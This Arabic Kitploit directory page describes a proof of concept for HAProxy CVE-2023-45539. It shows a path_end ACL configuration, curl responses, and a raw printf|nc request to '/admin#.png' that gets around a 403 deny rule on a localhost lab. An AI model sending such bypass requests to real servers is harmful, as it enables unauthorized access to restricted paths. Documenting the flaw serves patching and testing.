Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HAProxy-CVE-2023-45539-PoC — HAProxy-CVE-2023-45539-PoC | Kitploit
أدوات/GitHubGitHub/slicingmelon/haproxy-cve-2023-45539-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقسوء التكوين
GitHubslicingmelon/haproxy-cve-2023-45539-poc

HAProxy-CVE-2023-45539-PoC

HAProxy-CVE-2023-45539-PoC

عرض المستودع
2منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

HAProxy-CVE-2023-45539-PoC

HAProxy قبل الإصدار 2.8.2 يقبل # كجزء من مكوّن URI، مما قد يسمح للمهاجمين عن بُعد بالحصول على معلومات حساسة أو تأثيرات أخرى غير محددة عند إساءة تفسير قاعدة path_end، مثل توجيه index.html#.png إلى خادم ثابت.

root@kitploit:~
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static

هذا يعني:

  • لا يهتم HAProxy بما إذا كان الخادم الخلفي يمكنه فعلاً تقديم .png أو .js أو ما إلى ذلك.
  • إنه ينظر فقط إلى تطابق اللاحقة في مسار الطلب.
  • إذا تطابقت اللاحقة مع إحدى هذه السلاسل، فسيقوم بتوجيه الطلب إلى be_static.

إذن:

/admin#.png → يطابق .png → يُوجَّه إلى be_static → تجاوز

/admin#.asc → لا يطابق → يبقى في be_app → يصطدم بالرفض → 403

root@kitploit:~
curl -i http://localhost:6655/public                                               
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain

APP OK
root@kitploit:~
curl -i http://localhost:6655/admin 
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html

<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

التجاوز

root@kitploit:~
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655 HTTP/1.1 200 OK content-length: 31 content-type: text/plain STATIC OK (routed by path_end)
تنزيل الأداة